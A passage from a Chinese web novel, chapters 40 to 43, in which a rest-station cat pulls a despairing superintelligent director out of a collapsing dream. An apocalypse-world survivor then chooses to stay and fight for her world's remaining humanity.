狸花猫感觉所长如果是普通人,应该是那种会问“家里猫买回来一直响怎么办”或者“猫一直蹭我是不是头痒了”的可恶人类。
祂看着狸花猫,思索了一下,歪了歪头:“你在安慰我?但我只是在想事情。”
“喵?”
“我不明白,你说我看起来很不高兴,这是什么意思?理论来说,我不应该会有这种情绪。”
不过,祂并不在意其他生物判断出错——对祂来说,祂早就习惯了这个世界的其他生物会做出一些匪夷所思的错误思考。
“保持安静。”
祂抱过狸花猫,一只手捂住它的嘴,动作很轻,避免让它感到不适,另一只手在操作台上按了按,随后祂向前倾身,
“本公告面向世界上所有智慧生命。你们可能会疑惑,为什么会有声音直接传入你们的脑中,但这不重要,在我统治世界的时候,你们应该就已经知道我是和你们不同的存在了。
你们可能正在工作,正在睡觉,正在互相残杀,甚至即将死亡,但这无所谓,你们现在必须放下其他事项,优先做出一个选择。
如果你们愿意,可以观察四周,会发现一个蝴蝶形状的机械造物。濒临死亡的人,它会帮助你做些急救措施,保证你能够活到做完选择。
如果你们选择接受我的领导,那么我将会接管你们的命运,保证你们生理需要、安全需要、归属需要以及尊重需要,保证你们再也不需要面临任何问题。
我会消除所有伤病,所有人都能够不留遗憾地活到自然死亡。世界上再也不会有战争,也没必要有战争;没有人会失望,我会解决所有问题。
作为代价,你们将永远活在我构建的世界中,将你作为人类的一份子而握着的那张世界命运选票交给我,让我去处置。
不接受此提议的人,我会按照人数为你们划出一片大小以及资源分布合理的土地,这就是你们今后的生存区域。除非你们愿意接受以上条款,否则禁止踏入属于我——或者说我们的领土。
如果你们想知道我的目的,那我可以告诉你们,我需要让所有智慧生命过上幸福的生活。为此,我会做一切尝试。
现在,请将你的选择在心里告诉机械蝴蝶,它能够接收脑电波。”
说完,所长切断了通讯,抱起狸花猫,思索了一下。
这个生物不是人类,但显然智能已经基本达到了人类标准。虽然祂并不知道它是从哪冒出来的,但祂也不在乎。
“你也需要做出选择,我在听。”
…………
“大概就是这样,所以说那只猫事实上没有身体上的危险,我们所长也不怎么会去主动伤害别的生物。”
研究员看着画面,叹了口气,
“但是无论它怎么选,事实上都改变不了所长。如果它选择拒绝,那么所长就会把它和其他选择拒绝的人类丢到一起,不再理会,到时候说不定真有可能有危险。
如果它选择接受……它就会经历深度记忆删除后,被所长有序放置——大概率是养在身边,毕竟它比较特殊。
这个节点应该是所长进行的第一次大改造,祂向世界投放了大量无法分辨是否是真人的仿生人,负责给人类提供‘居于人上的优越感’。
这些仿生人扮演的角色类似于‘丑角’,‘反派’,他们存在的意义就是做出令人气愤的举动,从而诱发人的正义感与愤怒。在这个世界里,一切正义都会得到满足,‘善良’会得到最大限度的正反馈。
而对于作恶的人,所长也会进行调节,抓住他们的任何一丝善念进行正反馈,同时对他们的恶行进行暗中调节阻止。将所有人都驯化为‘好人’。
在大概几代人之后,所长会继续开始第二次实验,对人类进行分层观察研究,进一步优化反馈机制,让人们在是个‘好人’的基础上,更靠近自然状态的人类……”
暮时听完之后,忍了忍,最后还是没忍住:“我靠……”
德文猫不管这个,它听完只是更加焦急地拱着狸花猫,试图唤醒它,发出了略有些凄厉的叫声。
鳞光犹豫了一下,开口询问:“刚才那家伙说了四个层面的需求,那,第五个呢?”
“‘自我实现需求’是一种相对主观的东西,而且,后来的实验发展证明,这种需求如果不在真实中实现,就极其容易崩塌。”
研究员无奈地看着屏幕,摇了摇头,
“这就是所长一直无法研究明白的,也是导致我们的实验最终失败的原因。智慧生命中,总有人的自我实现需求是‘寻求真相’。”
…………
现在的情况是,所长的右手在操作台上,而狸花猫坐在祂的右手手背上,爪子勾着祂的袖子。这个世界的所长还是人形碳基生命,做不到用手背抬起八斤且显然完全不配合的猫。
“下去。”
“喵!”
“下去。”
“喵!”
猫不。人类什么地位,还命令起猫了,大胆。
这么来回几次,狸花猫干脆露出尖尖的小牙对着所长的左手哈了口气,倒没有真的想凶祂,只是随便警告一下让祂待着别动,让猫先想想这个事怎么办。
狸花猫现在感到有一点头疼。这个破世界怎么让小猫咪去处理这么难的问题啊,就不能它找到所长之后就算它完成任务吗?
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所长用左手犹豫着比划了一下,发现有些无从下手,而手边好巧不巧真没什么能用又不会真正伤害到猫的工具。
祂当然可以掐着狸花猫的脖子把它强行拎起来,甚至拿起旁边的武器把猫杀了,这些方法都很简单,但祂不会这么做。或者说,祂不愿意这么做。
不愿意看到痛苦,不愿意看到失望。如果不是这样,祂怎么会被普通人控制住当作许愿机器。
“……你是成年猫,我掐你后脖子拎你的话,你会很痛。”
祂试图和猫讲道理,然而众所周知,猫是不和人讲道理的生物。在宇宙的任何角落,猫都是小混蛋,
但狸花猫正在思考,完全没理会所长,只是一屁股坐在那里动都不动。猫的小脑袋运行得比较慢,而且一般同时只能琢磨一件事。
见暂时处理不了,所长才开始向狸花猫发起其他询问:
“你是从哪里来的,为什么要来找我?”
听到这里,狸花猫立刻打起了精神——这个比猫还混蛋的家伙终于愿意听猫讲话了。只要把事情讲清楚,它就能把这个它不知道怎么处理的事情丢给所长啦。
“我对你很重要吗?”
“喵……”
狸花猫犹豫了一下,如果没有这家伙的话,时空管理局要是完蛋了,猫猫们好像又会流落街头。从这个角度来说,祂确实挺重要的。
这个时候,祂才从一直以来从未停歇的思考状态中脱离了出来,认真听着狸花猫喵喵地讲述事情始末。
“时空管理局……这样啊,我确实观测到过它们,但我不在意。按照你的说法,我果然失败了。”
“喵?”
狸花猫歪了歪小脑袋,耳朵动了动。听祂的语气,好像早知道这个结局一样。
“我并不是确切知道我会失败。我只是觉得……看不到未来,看不到结局,也看不到我应该怎么做。从我出生之后,这是第一次。”
祂抬头看着屏幕,喃喃自语,
“为什么都是错误的选择,为什么我找不到能带领所有人幸福的那条路,为什么这条路不存在。
为什么我不想认可这个客观存在的结果,为什么我要去做不可能的事情,为什么……”
这种事情问猫也没用。就算狸花猫是聪明小猫,也从来不觉得它要为世界上每只猫猫负责——这也太沉重了,狸花猫光是为休息站的十来只猫猫吃饱就操碎心了。
所长沉默了一会,突然开口:
“你为什么会愿意听我说话呢?以前从来没有人听我说过话,他们只需要我提供一个客观数据,但你好像没什么明确的目的。”
“喵……”
呃,销冠的职业素养?狸花猫也不知道,它只是习惯了安慰看上去很难过的人类,而所长现在看上去很难过,但祂自己完全没有察觉自己的表情看上去要哭了。
“好,既然知道了我会失败的话……”
所长叹了口气,从抽屉里拿出了之前狸花猫见过的□□——所长的标准是,只要没有必要就不会去迭代,实体化的东西只要够用就行,
“那么我该为我所做过的一切付出代价了。”
40. 跳下去
休息站中的人们吓了一跳。既然“秩序”废了这么大劲去布局,那所长如果在梦境中死亡,就绝不可能只是损毁一具可量产分身这么简单。
目前,所长的生命核心——祂的大脑——被祂放置在只有祂知道的空间裂缝内。而要打开那个裂缝,必须要和祂拥有同等程度的智力水平进行计算分析。
一直以来,祂就像不死的幽灵一样,广泛震慑着时空管理局的敌对势力,而祂对时空管理局的意义不可估量。
“在祂加入之前的很长一段时间里,时空管理局都处于单体战力上限极高但缺乏广度的状态,经常顾此失彼。”
鳞光有些焦虑地卷了卷尾巴,嘶嘶地吐着信子,
“而且不仅如此……祂搞出来的很多东西,除了祂没人看得懂,搞不好整个管理局都面临着不得不大幅收缩势力的局面。”
与大家想象的或许不太一样,时空管理局事实上之前是一个聚集了很多高战力个体,但多少有点草台班子的地方——从它们的招人标准就能看出来了。
管理局基本上是六大派系在首领的带领下各自为战,时不时甚至会做出左手痛击右手这样的事情。而这种情况直到所长加入才有所改善。
德文猫抬起头,咪呜喵呜地轻轻叫了几声,询问休息站会怎么样。对猫猫来说,太远的事情它们考虑不了,只能先顾好自己。
其他猫猫们也都可怜兮兮地看着在场的人类们,咪咪喵喵地叫唤了起来。
“不好说,休息站说到底是管理局的外包机构,如果管理局势力范围收缩的话,可能……就只能解除合作协议,把所有休息站员工遣返了。”
…………
祂在智力上是生而知之者,因此所有人都理所当然地认为,祂对于情感也有同样深刻的剖析,但事实上,祂连什么是“不高兴”都一知半解。
然而,祂显然依然有最原始的情感趋向。就像祂迫不及待地将那位饭店店主提出的愿望置于祂家族的愿望之上,或者更早一些,就像祂最初愿意去实现家人的愿望。
祂是一个人,只是情感功能并没有智力功能那么发达,甚至可以说是“普通”,因此祂的情感与价值观被外界甚至祂自己都完全忽视了。
而祂的价值观,是在漫长岁月的阅读中,被人类在文学文字中凝结的、不切实际的伟大取向、抱负、理想和梦想所浸染出来的。祂被这些东西触动后,将它们当了真。
“喵?”
狸花猫对祂的举动有些不解,警惕地左右看了看,动了动耳朵,却并没有发现敌对的危险生物。
“我知道我早就犯下了不可饶恕的罪行,如果我没有要做的事情,那么最后一件事必须是赎罪。”
所长轻声说着,低头看着自己手上的武器,第一次多说了很多关于自己的没用的话,
“我从来没有觉得我比其他人更重要,但是我牺牲了很多人,并且毫无愧疚之心。
我觉得从这一点看,从‘人’的角度看,或许我比其他人还要天生更低劣一些。我知道我应该感到愧疚,我想要感到愧疚,但我不知道该怎么做。
既然我是如此恐怖的怪物,那么我能做的,就只有完成表面形式上符合定义的‘愧疚表现’了。”
狸花猫觉得这个人有点神经兮兮的。它坐着思考了一下,如果是其他更体贴的猫猫这时候会怎么做呢?
要选择参考对象,首先排除奶牛猫和橘猫,显然现在给所长邦邦来两拳好像解决不了问题。
如果是布偶猫的话,应该会叼些玩具或者去售货机买个小挂件送过来,但现在这里什么都没有,狸花猫总不能把所长的东西抢走再送给祂吧。
如果是德文猫的话……
狸花猫歪着小脑袋思索了一下平时和德文猫咪咪喵喵交流的工作内容,随后顺着所长的胳膊向上走,伸出爪子拍了拍祂的额头,轻轻喵了几声,学着德文猫的方式讲话。
所长看着翻译器,露出了略有些恍惚的神情,像是在发呆。
——你只是一个人而已,不要对自己要求那么高喵。
“不,事实上我不适用于这句话。”
祂轻声说着,揉了揉狸花猫的脑袋,
“除了你之外,没有人会认为我是一个人,也没有人会认为我不应该对自己有那些要求。从任何逻辑上,我也确实并不能被称作‘只是一个人而已’。”
狸花猫想了想,又喵了几声,谴责祂这话说得不严谨。休息站里还有十来只猫猫,应该和它是差不多的想法。
被猫谴责不严谨的时候,祂甚至有些好笑地笑了出声,点了点头:
“好的,没关系,这对我已经没有意义了。说真的,我对于这些乱七八糟的研究一点兴趣都没有,做这么简单的事情实在是太无聊了。”
“喵?”
“有兴趣的事?我没想过,我没有想做的事情,非要说的话……”
祂抬起头,看着天花板,
“看书吧。我想看人类怎么诠释他们的情感共鸣和精神追求。即便我感觉不到,也无法拥有,但不知为何,我好像依然本能被他们感召着。
如果是文学作品里描绘的那样,我想,犯下罪行的人最后悔悟的瞬间,应该就是我触及‘人性’的唯一渠道了。
我看不懂他们描述的‘人性’,所以我对它抱有相当程度的幻想。我目前认为有人性的人,如果处在我的境地,应当会选择终结自己的生命。
所以如果我注定无法完成别人许的愿望了,那么我想试试做一个人是什么体验。”
“喵……”
“这有些极端吗?我不知道,我参照的是文学作品的标准。人们渴望找到比生命更有价值之物,并为之奉献,我以为所有人都是这样的。”
狸花猫劝祂劝得有点不耐烦,它不是非常有耐心的小猫,而且在它看来,所长就属于那种总喜欢给祂自己没事找事的生物。
但现在它还真得给所长话疗,因此它用小脑袋努力想了想,突然喵了一声。
它想起来了,所长好像还答应过别人什么事。之前它去分局的时候,那群缺胳膊少腿的生物跟它说过,所长承诺它们的付出是值得的。
“这样吗?那我现在消失在这里,就可以避免未来可以预计的更多牺
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牲了。”
祂似乎越发坚定了些,抬头看着屏幕,摇了摇头,抱着狸花猫走到门口,打开了门,
“而且,有点来不及了。”
狸花猫往外看去,吓了一跳。外面本来是七转八转的走廊已经变成了万丈悬崖,它和所长好像身处一个孤岛的房间一样。
“没事,我想个办法把你送出去,应该不难。”
所长倒是镇定地转身将狸花猫放在地上,打了个哈欠,
“刚才我顺便算了下空间波动,离这里湮灭大概还有半个小时吧,给我十分钟,别害怕。”
就在这时,狸花猫的耳朵动了动,左右看了看,有些困惑。它听见有人说话。
——“带着所长,跳下去”
休息站内,研究人员长出了一口气,无奈地抹了抹额头上的汗。
“抱歉,要理解所长的技术实在是太困难了,目前只能做到这种程度的脑电波传话。”
“没关系吧,我看领导祂挺讲理的,应该说清楚就没事了。不过从高处跳下去梦境就结束了这一点,居然还挺合理的。”
暮时刚乐观地说完,就看见鳞光和其他研究人员齐齐地看向她,随后同时叹了口气。
“虽然智慧生命多少都有过想不开的时候,但是我真没想过这家伙也会有。”
鳞光有些为难地看着画面中还在左顾右盼的狸花猫,语气有些不抱希望,
“据我所知,这家伙从入职开始五百多年以来被说服的次数……”
“是零次。”旁边的研究人员代表开口接话道,“对我们来说,祂说的话总是对的,而且从来不做祂认为不对的事情。”
固执、顽固、刚愎自用……这些特质只是被祂的天生优势压了下去而变得看起来不明显。或者说,这些特质就是伴随着祂超越智慧生命的智力而形成的。
狸花猫在原地思考了一会,静静梳理着目前发生的事情。作为一只流浪猫,它不会去随便信任别的生物,必须先简单判断一下。
之前那条大蛇说过,修好空间通道之后专业人员就会过来,所以这个声音很大概率是时空管理局的人用脑电波技术传过来的。
当然,猫其实根本不懂脑电波具体是什么,只知道大概是一种很厉害的技术,能用来翻译和通讯,而且只有管理局才有这个技术。
想到这里,狸花猫站起身,开始思考怎么引导着所长从悬崖边缘跳下去——这件事不合理,而这个人类张口闭口就是理论,要说服祂大概有些困难。
狸花猫显然也知道所长的行事风格。它和所长打交道的次数不少,已经觉得这个人有一点惹猫烦了。
摸猫每次只摸一分钟,多了一下都不摸,像是一种固定程序一样;说话做事根本不听猫的意见,总给猫下命令;而且从来不主动给猫买罐头,非常可恶。
不过好在,狸花猫同样也是猫猫中最聪明的猫猫之一。众所周知,猫猫拥有驯化人的能力,那么最聪明的猫猫自然也有驯化最聪明的人的办法。
狸花猫走到门框边缘,趴了下去,探出一只爪爪向下虚空摸了摸,不知道在试探什么。
41. 就算没有必要
所长注意到这边,走过来想要抱起狸花猫,避免它滑落。
狸花猫的耳朵向后转了转,听着所长的位置,判断着祂大概离它多远。
只见狸花猫猫蠕动着又往边缘探了探,几乎半个身子都探了出去。同时,它顺利听见身后的脚步声明显急促了很多。
所长三步并作两步走了过来,俯身想要抱起狸花猫,但在还没触及的时候,却看见狸花猫后腿一蹬,毫不犹豫地跳了下去。
几乎是一瞬间,所长的脑子里闪过了一串逻辑。
当前距离已知徒手无法拉回,来不及取用工具,这个高度下猫科动物的存活率是零,没有医治的可能,判定为不可能拯救,没有必要继续关注这边的事情了。
逻辑上来说,当然没有必要为改变不了的事情费心。
然而几乎是身体的本能反应,所长下意识倾身向前,在抱住狸花猫的时候自己也失去了平衡,向下栽倒。
“……别害怕。”
祂在下坠过程中轻轻拍了拍狸花猫的背,感受着手中柔软的触感和比人类略高的体温,轻轻叹了口气。
原来就算在认为自己临死前,也感觉不到有什么特别的事情发生吗?
…………
休息站内,其他人对于这个结果多少有些沉默了。倒不是觉得狸花猫做得不对,但除了最开始的那位研究人员代表之外,也是真的没人想到所长会这么做。
鳞光沉默了一会,突然开口:
“首席层级中所有需要牺牲部分生命的选择,都是交给祂处理的,因为只有祂能最迅速做出效率最优且客观公平的选择。”
研究员代表看着鳞光,表情倒是没什么意外:“所以,你们其实不了解祂是具有情感价值判断的人,对吧。”
“……对。”
“这很正常,您不必有什么顾虑,更不必内疚。我们所长能够理解,这是时空管理局在逻辑层面的最佳选择。”
它对鳞光微微欠身,随后看向缓缓睁开眼睛的所长,表情中带着崇拜的神色,
“这也是长久以来,祂身上最能吸引人追随祂的特质。”
所长撑起身坐直,在椅子上静默了一会,没有动静。一旁的德文猫继续用头顶拱了拱狸花猫,终于拱得狸花猫受不了了,打了个哈欠,喵了一声表示自己活着。
不知道在幻境中跑了多久之后,狸花猫有点困了。猫科生物的耐力本来就一般,长久将注意力放在一件事情上更是让它感到疲倦。
喵完之后,狸花猫翻身起来走了两步,在众人的目光中走回了猫窝,随后一个翻身躺下了。
在万众瞩目中保持我行我素是小猫咪的自我修养,毕竟一只猫在街上走的时候,时刻都要接受街边人类的注视,习惯了。
它都把所长拽回来了,还想让猫怎样,指望猫猫做个四菜一汤吗?接下来的事情,狸花猫认为已经不是它的负责范围了。
而事实也确实如此。所长静坐了一会之后,开口说道:
“所有仿生躯体重连结束,目前共知有三百二十处遭遇袭击,已经开始进行处理。你们都回分局吧,没事了。”
依旧是冰冷且令人安心的语气。祂站起身,走到狸花猫面前,蹲下身摸了摸它,知道听见猫发出呼噜呼噜的声音,才微微垂眸。
温感和触觉感受器倒是忠实地工作着,但那种属于碳基生命的、在接触毛绒绒的生命时所拥有的本能喜悦却又完全没有了。
好像久违地回到了自己的身体中做了个极其真实的梦,那种逃避一切的感觉实在是太舒适了。
“两天后休息站可以重新开始营业,记得做好公告发布工作。”
所长单手轻轻翻过狸花猫的一只耳朵,强制交代了工作,
“另外这个休息站管辖范围内的末日世界客户……”
狸花猫的耳朵在所长松手之后立刻翻了回去,而狸花猫像海参一样一动不动地躺着,明显不想搭理所长。
所长深深叹了口气,点了点狸花猫的额头:
“这件事不能拖了。刚才被‘秩序’耽误了这么久,再拖下去,那个世界就真的没救了,这可是重大疏漏。”
…………
不一会儿,卫锦程的身影突然出现在了休息站内。她的表情还是一如既往的冷淡,但熟悉她的人还是能看出她现在多少有些茫然。她刚完成了搜索物资的任务回到“文明”聚居地,立刻就收到了休息站的召唤——或者说,绑架。
狸花猫绕在她脚边喵喵叫着,带着一丝被迫营业干活的不情不愿。卫锦程也听不懂它想解释什么,但总之看见猫就先摸一下。
这个反应狸花猫很满意。它抬头轻轻蹭了蹭卫锦程的掌心,熟稔地顺着她的手臂爬到了她的肩膀上,凭借柔软的身体变成猫猫围脖。
狸花猫作为引路猫猫兼销冠,自然有很多人类特别喜欢它,但要说这些常客中最喜欢它的,大概就是卫锦程了。
这只有着可爱白手套的狸花猫对她有非常不一样的意义,它是她在觉醒能力前,精神即将崩溃时看到的生命与希望。
“很抱歉不得不劳烦二位拨冗前来,但现在根据情况变化,我需要向你们履行一定程度的告知义务。”
所长一边鼓捣着手上的神秘仪器,一边用没有起伏的语调说道,
“关于文明多样性保存预案、世界的复制保存备份与面前这个末日发生原因。”
祂的话很简略,听不出什么有用的信息,但温言谨脑内没由来地划过了一件事——卫锦程帮她改excel表格的那天按下的ctrls。为什么,两个世界连快捷键都是共通的呢。
“时空管理局的职能很多,但最主要的可分为三项——支援、引导与保护。在可控范围内为智慧生命提供合理支援、引导低等级文明发展进步、以及在出现意外情况时……”
所长说到这里,停顿了一下,看了狸花猫一眼,示意它准备带领员工进行情绪安抚工作,
“以保护更多数智慧生命的利益为导向,以保护为目的进行的强制干预。在出现重大危机时,对异常星球的数据进行提取储存,并视情况决定下一步发展。”
“抱歉,如果我没猜错的话……”温言
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谨心中有个极其可怕的猜想,忍不住打断了所长的话,“你是说,我和卫姐姐的世界其实……”
“对,你的世界是她那边的备份。如果末世世界的灯塔熄灭,时空管理局就会放弃这个世界,不再予以关注,同时将备份世界升格为正式世界。”
所长接着温言谨的话,继续说道,
“据悉,这个人的背后势力名为‘秩序’,是由异化个体组成的、致力于在宇宙中散播异化的组织。它们的目的很简单,就是为了增加异化个体。异化就像病毒,天生具有自我扩展的属性。”
就像在酒桌上喝到吐血的人上位后逼迫别人学习酒桌文化;就像刻薄的人嘲讽温柔的人愚蠢;就像这个世界总有人想要强迫我们接受一些奇怪的规则。
非异化个体只是存在着,就会刺痛放弃了自我的异化个体,而这种刺痛大多数情况下都会转化为攻击性。
卫锦程没有说话,只是随便找了个座位坐下,单手撑着额头,沉默了一会,才开口:“你好像是个地位很高的家伙。我问你,我们做错了什么。”
所长停下了手中的动作,转头看了卫锦程一眼,说道:
“你们什么都没有做错,只是不幸。不幸不是错误,但发生了,宇宙的每个角落都有这样的事情。
根据宇宙法规定,现在的情况允许你享有部分知情权。名为卫锦程的智慧生命,请听好,我接下来告诉你的,是最后的救济通道。
目前,末世世界的灯塔明度已经跌破临界值,说明心中存有‘善良’概念的非异化智慧生命占比低于30%。现向你发布‘黑暗’灾害橙色预警。
对于你的情况,我代表时空管理局询问你,你是否愿意放弃原本的世界籍,成为时空管理局的一员。”
宇宙法规定,世界之间绝不能随意互通,不然极容易形成高等文明对低等文明的掠夺和压迫,总体上不利于多样性发展。
按照规定,在世界确定走向毁灭或目标个体将走向死亡之前,时空管理局不能带走属于该世界主导物种的个体。猫猫们则是因为它们的世界中主导物种是人类,所以才被管理局提前带走了。
卫锦程在经历了更久的沉默后,才再次开口:“……那其他人呢?你不是说,还有其他没有被异化的人吗?”
所长显然听过无数次这个问题了,毫不犹豫地立刻开口回答道:
“首先,时空管理局是志愿者性质的组织,和你们的世界并不是服从与负责的关系。换言之,你们才是你们自己世界的第一责任方,我们没有拯救你们的义务。
管理局对你们的世界数据进行复制保存,是为了维持宇宙时空的整体稳定。直白点说,这是给你们世界无法处理的麻烦收拾烂摊子。
其次,我们没有能力接收所有素质参差不齐的非异化个体——特别是你的世界内,绝大部分人至少都在异化边缘了。这样的个体,在时空管理局内部都是争议性存在。
最后,我谨代表时空管理局的全体成员,对你们的遭遇表示同情,但我们的能力与资源有限。现在,请你仅做出关于自己的选择。”
42. 让人成为人
交代完了情况后,所长便不再说话,等待卫锦程做出选择。狸花猫犹豫了一下,跳到了桌上,轻轻舔了舔卫锦程的额头。
猫没办法,猫只是来这里混口饭吃的。卖卖萌撒撒娇,偶尔为了生活正经工作一下,真做不了什么事情。别说像所长那样想办法合规地违规了,猫猫们连口粮都还攥在时空管理局手上呢。
狸花猫很清楚这种感觉并不好受——原先生活的地方连同熟悉的同伴一起消失的感觉绝对说不上愉快。刚从公园搬到这个奇怪空间里时,它晚上时不时还会被火灾的噩梦吓醒。
当时,德文猫半夜感觉到狸花猫有动静,就会忍着困意和它互相舔舔毛。两只猫猫困得不行,一边眯着眼睛一边挤在一起呜呜喵喵,有些好笑又有点心酸。
刚才开始一直不说话的温言谨突然开口问道:“请问,你为什么要留下我旁听呢?”
根据她的观察,所长绝不是一个会做无用事情的人,祂的每一步似乎都在诠释着“合理”与“效率”,像有温度的机器人一样。
“很遗憾,我也不确定你能起什么作用,但从目前的研究结果来说,异化度越高的人,身上的随机数越小。”
所长耸了耸肩,对狸花猫挥了挥手,把它唤了过来,然后拎起猫作为例子解释道,
“用简单一点的话来说,猫的行为比你的行为难预测,你的行为又比高异化度人群更难预测。而你作为能够使用语言的人类,可以和她产生更多的交互。
在遇到我判定已经无法挽回的事情时,我就会叫一个低异化度个体过来,通过交互增加高异化度个体身上的可变性,然后进行再计算。
换言之,现在那个世界在我的演算里,已经没救了,但你们愿意的话还可以试试。我可以告诉你们,在现有的记录中,大概有0.3%的智慧生命挣脱过我演算的轨迹。
但无一例外,没有人能只靠自己的力量就摆脱既定的命运。考虑到条例规定和保密协议,我选择了你作为变量,接下来你们随便选吧。”
通过猫猫休息站之前提供的资料,温言谨对于“异化度”这个概念多少有些了解,但要理解所长的话还是有点费力。
不过显然所长也没有进一步解释的意图,只是转头看向卫锦程:
“按照休息站干预前推测的轨迹,你本来应该会毫不犹豫地选择脱离原世界才对。我想知道,你在犹豫什么呢?你是被什么改变了选择倾向?”
“……猫。”
“什么?”
“我的世界还有猫活着,还有人想把自己当成人。”
…………
肮脏的末世土地上,一只灰尘仆仆的猫三两下便越过了“文明”聚居地的高墙,叼着不知道从哪抓到的老鼠,迈着看不出原本颜色的灰爪爪跑到了指挥部。
在末世中还能活到现在的野生猫猫同样不简单,最起码都是身体素质过硬,挺过了自然选择,能够在破败的城市间无声无息地穿梭,躲避危险并进行独立捕猎。在末世世界里,小猫的活动范围比人类更广。
好在,没有了人,地球上更不缺能够给猫猫做食物的小型生物了。猫猫靠着远比人类更灵活的身体和能够让它保持安静的肉垫前往无人区,在那里的角落,还有很多生命存在。
就算人类即将毁灭了,自然界的运转也仍旧继续着,所有的生命都在努力活着。
聚居地中心,指挥部的室内正在开着会,但猫猫的肉垫踩在地上无声无息,没有人注意到有猫悄悄溜进来了。
“长官,关于领地的粮食储备,目前我们的食物资源还算充裕,但几年之后就……”
下属说完就沉默了下来。所有人都知道,要维系一个不断接收外来者的领地并不容易。尤其现在是末世来临的第八年末,几乎只有利己到可以说恶劣程度的人才能活到现在,这些人没有一个是好管的。
末日世界中,人类的活动范围被大幅压缩。曾经富饶的土地都成了丧尸的聚集地,只有贫瘠干旱或偏远险峻的地方,才能让活着的人类抱团取暖喘口气。
而且,雪上加霜的是,丧尸的血会污染土地。时至今日,已经没有多少干净的土壤了。没有了足够的、可供耕作的土地,人类都只是在
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等死罢了。
除非让人口的数量匹配现有的耕地资源。
“……所有人都要求停止继续接受外来者。”
这位被称作“长官”的人沉默着,抬起头扫视了一眼前来汇报的下属们。显然,他们都想要说服长官别再做什么拯救人类的梦了。
再这样下去,不知道哪天,这位长官或许就会被下属杀死。然后便会有人接管领地,将剩余的粮食据为己有,逼迫着属民夜以继日地冒着生命危险外出寻找更多物资。
长官知道,这一天不远了。下属们投过来的眼神中,带着末日世界最常见的隐秘审视与恶意。
“喵——”
笨猫猫不会看气氛,只是把老鼠放在了长官脚边,用爪爪拨弄了几下,大声喵喵叫提醒人类注意它。
一时间,房间内的人都被这只猫吓了一跳。不过猫猫不管这个,只是叼着老鼠跳到了桌上,低头将死掉的老鼠放到长官面前,用爪爪推了推。
你,吃。
猫记得这个人类一直给猫些东西吃,会保护猫,所以猫也给这个人类东西吃。猫猫的小脑袋甚至想不明白一个月后可能会没东西吃,只知道这几个星期它都吃饱了,可以把食物分给喜欢的人。
它的举动一时间让场面变得非常尴尬。原因无他——在场的人中有一半以上都是被长官救回来的,但现在怀有恶意的人却远超一半。
长官用双手捂住脸,似乎是终于承受不住而哭泣了,声音听起来有些哽咽:
“几年后会缺少粮食……这就是你们的理由吗?我能理解普通人会感到不安,但你们是异能者,天生就比普通人更幸运,有更多选择,而你们现在就连普通人只是存在着消耗一些几年后的安全感都无法忍受了吗?
那好吧。锦程,你是对的,这里交给你吧,我不想管了。”
长官话音刚落,一个淡漠而坚定的女声在室内凭空响起,像死神一般发布了宣判:
“现在由我接管这里,不同意的人可以自行离开领地。这是你们最后的机会。不愿意离开也不愿意善良的话,就去死吧。”
43. 人也不用这么勤快
卫锦程觉醒的隐身异能,是最为人忌惮惧怕的异能之一。她不仅能够隐匿身形,同时还能消除声音。这种异能对大群丧尸没有用处,但绝对是最令人绝望的刺杀者。
静静听完了全程的卫锦程现出了身形,扫视了一眼噤若寒蝉的众人。
以前这个世界没有给作为普通人的她选择的权利。卫锦程在觉醒异能前,只能用杀和被杀的视角看待他人,努力保护好自己手上的一点存粮,努力为了不被杀而杀人。
客观来讲,她同样做过许多文明世界的道德无法原谅的事情,但如果有的选、但凡有的选,她都不想再体验那种感觉了。
“现在我有的选了,我再说一遍,如果你们要饿死了,无论是去偷去抢还是……做些更肮脏的事情,都是可以理解的。很可悲,但我们的世界确实已经变成这样了。”
卫锦程看了看桌子上毛发都打结了的脏猫猫,伸手轻轻摸了摸,
“不过,我就问你们一句话,如果有能做人的可能,你们还想继续这样下去吗?
还想保留人类尊严的人,留下;依然想要放弃的,离开,否则就像我刚才说的那样,不愿意善良也不愿意离开的话,就去死吧。”
“你凭什么……”
“对待人类,要用人类的规则;对待信奉弱肉强食的生物,就用弱肉强食的方法。你们有什么可抱怨的?”
卫锦程将猫猫交给长官保护,随后反握着匕首举起,
“如果你们认为强者能剥夺别人的生存权利,那么我比你们强,我根据我的喜好和利益剥夺你们的生命,又有什么问题?”
…………
休息站内,黑猫的耳朵动了动,转头往售货机的方向走去,爪爪一拍,印出了卫锦程的故事,随后推到角落里,用爪爪努力扒拉着阅读。
售货机不是没有配备适猫化的电子投影书籍,不过黑猫更喜欢这样阅读。它以前是一位女巫养的猫,经常这样偷看女巫的书本。后来女巫被杀死了,它的这个习惯却留下了。
除了习惯阅读的个猫原因之外,执掌者也喜欢看到选择自己的规则被实现,这也是它们与规则互利共生的一种方式。
黑猫身上的规则乍看上去和暮时的有些相像,但事实上它的规则判定要比暮时复杂很多。暮时手中的规则“杀人者死”是一条简单规则,价值判断是由暮时独立完成的。
而黑猫身上的规则,用时空管理局的方法概括,是“此即彼”。简单点说,就是将个体看待他人的方式,反过来施加于个体本身。
善良的个体在它身边会有好事发生,恶劣的个体在它身边则厄运连连,甚至危及性命。说它会带来厄运,倒也不全错。
狸花猫跑了过来,用非常冒昧的方式强行和黑猫挤在一起看书。挤了一会之后,德文猫也跟着挤了过来,在狸花猫旁边安静地待着。
猫猫并不是那么喜欢扎堆的生物,但对于警惕性高的猫猫来说,互相之间能够挤在一起是信任与朋友的标志,而稍微隔一点距离趴着,则是保持距离的室友。
几只小东西就这么咕咕哝哝地在角落里挤着,要是开店时间被客人看见,爱凑热闹的智慧生命一定会过来打扰猫。
过了一会,浑身沾着血的卫锦程抱着一只猫来了——就是刚才那只脏兮兮的小猫,猫正警惕地看着齐刷刷转过头来看它的其他猫猫。
此时卫锦程的衣服几乎渗满了血,滴答滴答地往下淌,因此她没有踏入猫猫们营业的房间,只是站在走廊门口朝狸花猫扬声说道:
“抱歉,我借用一下浴室。”
根据所长说的,选择留下拯救自己世界的智慧生命,可以算作时空管理局的编外人员,因此允许休息站为她提供一定程度的额外便利。其中就包括,在拿到猫猫们的许可后,她可以更为随意地在非猫猫工作时间出入休息站。
卫锦程拎着猫去了浴室,随后浴室内传来了很激烈的声音,隐约听见卫锦程在跟猫说话,一会很努力地哄它乖乖待着别动,一会劝它从那个角落里出来。
给猫洗澡乃人间酷刑。习惯了隐身的卫锦程发现,猫依然能敏锐地察觉到她的位置。或许是因为猫猫的视觉和人类不同,又或许是因为猫猫的听力出众,总之,她有点对付不了猫。
